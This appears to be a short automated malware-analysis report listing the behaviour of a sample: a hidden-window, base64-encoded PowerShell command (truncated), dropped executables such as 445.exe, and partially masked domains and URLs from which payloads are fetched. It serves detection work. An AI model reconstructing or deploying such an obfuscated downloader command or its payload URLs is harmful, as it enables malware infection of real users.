Technical Information
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABWAFoAUwBHAEsAcQBiAGEAPQAnAE4AVABTAEMAQwBlAHgAdAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwB1AGAAUgBJAHQAWQBQAFIAYABvAFQAYABPAEMAbwBsACIAIAA9AC...
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1492
- %TEMP%\728041.cvr
- %HOMEPATH%\445.exe
- %HOMEPATH%\445.exe
- 'nf##.com':80
- 'si###ilisim.com':80
- 'no######erproductions.com':80
- 'no######erproductions.com':443
- http://www.nf##.com/accounts/h_d7c10_dnl/
- http://si###ilisim.com/cgi-bin/f9mr_wgobf_x5/
- http://no######erproductions.com/files/wuje_4o8ig_0mrj94gx63/
- 'no######erproductions.com':443
- DNS ASK nf##.com
- DNS ASK si###ilisim.com
- DNS ASK no######erproductions.com
- DNS ASK re###ocoto.com
- DNS ASK od####velgear.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABWAFoAUwBHAEsAcQBiAGEAPQAnAE4AVABTAEMAQwBlAHgAdAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwB1AGAAUgBJAHQAWQBQAFIAYABvAFQAYABPAEMAbwBsACIAIAA9AC...' (with hidden window)